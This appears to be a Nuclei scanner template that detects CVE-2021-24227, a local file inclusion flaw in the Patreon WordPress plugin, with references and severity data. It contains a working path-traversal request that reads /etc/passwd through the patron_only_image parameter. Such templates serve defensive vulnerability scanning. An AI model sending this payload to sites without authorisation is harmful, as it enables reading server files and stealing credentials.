id: CVE-2021-24227 info: name: Patreon WordPress <1.7.0 - Unauthenticated Local File Inclusion author: theamanrawat severity: high description: Patreon WordPress before version 1.7.0 is vulnerable to unauthenticated local file inclusion that could be abused by anyone visiting the site. Exploitation by an attacker could leak important internal files like wp-config.php, which contains database credentials and cryptographic keys used in the generation of nonces and cookies. remediation: | Upgrade to Patreon WordPress plugin version 1.7.0 or later to mitigate this vulnerability. reference: - https://wpscan.com/vulnerability/f62df02d-7678-440f-84a1-ddbf09364016 - https://wordpress.org/plugins/patreon-connect/ - https://jetpack.com/2021/03/26/vulnerabilities-found-in-patreon-wordpress-plugin/ - https://nvd.nist.gov/vuln/detail/CVE-2021-24227 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-24227 cwe-id: CWE-200 epss-score: 0.03493 epss-percentile: 0.90494 cpe: cpe:2.3:a:patreon:patreon_wordpress:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: patreon product: patreon_wordpress framework: wordpress tags: wordpress,patreon-connect,unauth,cve2021,lfi,patreon,wp,wpscan,cve http: - method: GET path: - "{{BaseURL}}/?patron_only_image=../../../../../../../../../../etc/passwd&patreon_action=serve_patron_only_image" matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - type: status status: - 200 # digest: 4b0a00483046022100d8afc048ce7d94468b14a2fac6f623039302ded2d89cbcf2497fb717266fca81022100c76e56d35008437fa6b97b19d4100066c9f5843ff55013ce558c86f1ce9c059f:922c64590222798bb761d5b6d8e72950